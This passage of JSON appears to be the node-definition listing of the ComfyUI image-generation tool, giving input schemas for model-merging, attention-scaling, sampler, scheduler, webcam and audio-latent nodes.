1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "x_embedder.", "t_embedder.", "t_embedding_norm.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmosPredict2_2B", "display_name": "ModelMergeCosmosPredict2_2B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeCosmosPredict2_14B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedding_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embedder.", "x_embedder.", "t_embedder.", "t_embedding_norm.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "blocks.28.", "blocks.29.", "blocks.30.", "blocks.31.", "blocks.32.", "blocks.33.", "blocks.34.", "blocks.35.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeCosmosPredict2_14B", "display_name": "ModelMergeCosmosPredict2_14B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeQwenImage": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embeds.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "img_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_norm.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txt_in.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "time_text_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.32.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.33.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.34.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.35.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.36.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.37.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.38.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.39.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.40.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.41.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.42.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.43.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.44.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.45.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.46.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.47.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.48.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.49.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.50.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.51.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.52.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.53.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.54.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.55.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.56.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.57.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.58.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "transformer_blocks.59.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "proj_out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embeds.", "img_in.", "txt_norm.", "txt_in.", "time_text_embed.", "transformer_blocks.0.", "transformer_blocks.1.", "transformer_blocks.2.", "transformer_blocks.3.", "transformer_blocks.4.", "transformer_blocks.5.", "transformer_blocks.6.", "transformer_blocks.7.", "transformer_blocks.8.", "transformer_blocks.9.", "transformer_blocks.10.", "transformer_blocks.11.", "transformer_blocks.12.", "transformer_blocks.13.", "transformer_blocks.14.", "transformer_blocks.15.", "transformer_blocks.16.", "transformer_blocks.17.", "transformer_blocks.18.", "transformer_blocks.19.", "transformer_blocks.20.", "transformer_blocks.21.", "transformer_blocks.22.", "transformer_blocks.23.", "transformer_blocks.24.", "transformer_blocks.25.", "transformer_blocks.26.", "transformer_blocks.27.", "transformer_blocks.28.", "transformer_blocks.29.", "transformer_blocks.30.", "transformer_blocks.31.", "transformer_blocks.32.", "transformer_blocks.33.", "transformer_blocks.34.", "transformer_blocks.35.", "transformer_blocks.36.", "transformer_blocks.37.", "transformer_blocks.38.", "transformer_blocks.39.", "transformer_blocks.40.", "transformer_blocks.41.", "transformer_blocks.42.", "transformer_blocks.43.", "transformer_blocks.44.", "transformer_blocks.45.", "transformer_blocks.46.", "transformer_blocks.47.", "transformer_blocks.48.", "transformer_blocks.49.", "transformer_blocks.50.", "transformer_blocks.51.", "transformer_blocks.52.", "transformer_blocks.53.", "transformer_blocks.54.", "transformer_blocks.55.", "transformer_blocks.56.", "transformer_blocks.57.", "transformer_blocks.58.", "transformer_blocks.59.", "proj_out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeQwenImage", "display_name": "ModelMergeQwenImage", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeKrea2": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "first.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "tmlp.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtmlp.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "tproj.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.layerwise_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.layerwise_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.projector.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.refiner_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "txtfusion.refiner_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "blocks.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "last.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "first.", "tmlp.", "txtmlp.", "tproj.", "txtfusion.layerwise_blocks.0.", "txtfusion.layerwise_blocks.1.", "txtfusion.projector.", "txtfusion.refiner_blocks.0.", "txtfusion.refiner_blocks.1.", "blocks.0.", "blocks.1.", "blocks.2.", "blocks.3.", "blocks.4.", "blocks.5.", "blocks.6.", "blocks.7.", "blocks.8.", "blocks.9.", "blocks.10.", "blocks.11.", "blocks.12.", "blocks.13.", "blocks.14.", "blocks.15.", "blocks.16.", "blocks.17.", "blocks.18.", "blocks.19.", "blocks.20.", "blocks.21.", "blocks.22.", "blocks.23.", "blocks.24.", "blocks.25.", "blocks.26.", "blocks.27.", "last."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeKrea2", "display_name": "ModelMergeKrea2", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "PerturbedAttentionGuidance": {"input": {"required": {"model": ["MODEL", {}], "scale": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": 0.01}]}}, "input_order": {"required": ["model", "scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PerturbedAttentionGuidance", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_pag", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "AlignYourStepsScheduler": {"input": {"required": {"model_type": ["COMBO", {"multiselect": false, "options": ["SD1", "SDXL", "SVD"]}], "steps": ["INT", {"default": 10, "min": 1, "max": 10000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model_type", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "AlignYourStepsScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_align_your_steps", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["AYS scheduler"], "essentials_category": null, "has_intermediate_output": false}, "UNetSelfAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetSelfAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "UNetCrossAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetCrossAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPAttentionMultiply": {"input": {"required": {"clip": ["CLIP", {}], "q": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "k": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "v": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "out": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip", "q", "k", "v", "out"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["clip attention scale", "text encoder attention"], "essentials_category": null, "has_intermediate_output": false}, "UNetTemporalAttentionMultiply": {"input": {"required": {"model": ["MODEL", {}], "self_structural": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "self_temporal": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "cross_structural": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "cross_temporal": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "self_structural", "self_temporal", "cross_structural", "cross_temporal"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UNetTemporalAttentionMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_attention_multiply", "category": "experimental/attention_experiments", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLCMUpscale": {"input": {"required": {"scale_ratio": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 20.0, "step": 0.01}], "scale_steps": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 1000, "step": 1}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["bislerp", "nearest-exact", "bilinear", "area", "bicubic"]}]}}, "input_order": {"required": ["scale_ratio", "scale_steps", "upscale_method"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLCMUpscale", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLCM": {"input": {"required": {"s_noise": ["FLOAT", {"tooltip": "Per-step noise multiplier at the first step (1.0 = match training).", "default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01}], "s_noise_end": ["FLOAT", {"tooltip": "Per-step noise multiplier at the last step. Set equal to s_noise for a constant schedule.", "default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01}], "noise_clip_std": ["FLOAT", {"tooltip": "Clamp per-step noise to +/- N*std. 0 disables.", "default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["s_noise", "s_noise_end", "noise_clip_std"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLCM", "display_name": null, "description": "LCM sampler with tunable per-step noise. s_noise is a multiplier on the model's training noise scale", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerCFGpp": {"input": {"required": {"version": ["COMBO", {"advanced": true, "multiselect": false, "options": ["regular", "alternative"]}]}}, "input_order": {"required": ["version"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerCFGpp", "display_name": "SamplerEulerCFG++", "description": "", "python_module": "comfy_extras.nodes_advanced_samplers", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WebcamCapture": {"input": {"required": {"image": ["WEBCAM", {}], "width": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "capture_on_queue": ["BOOLEAN", {"default": true}]}}, "input_order": {"required": ["image", "width", "height", "capture_on_queue"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "name": "WebcamCapture", "display_name": "Webcam Capture", "description": "", "python_module": "comfy_extras.nodes_webcam", "category": "image", "output_node": false, "has_intermediate_output": false, "search_aliases": ["camera input", "live capture", "camera feed", "snapshot"], "essentials_category": "Basics"}, "EmptyLatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 47.6, "min": 1.0, "max": 1000.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], 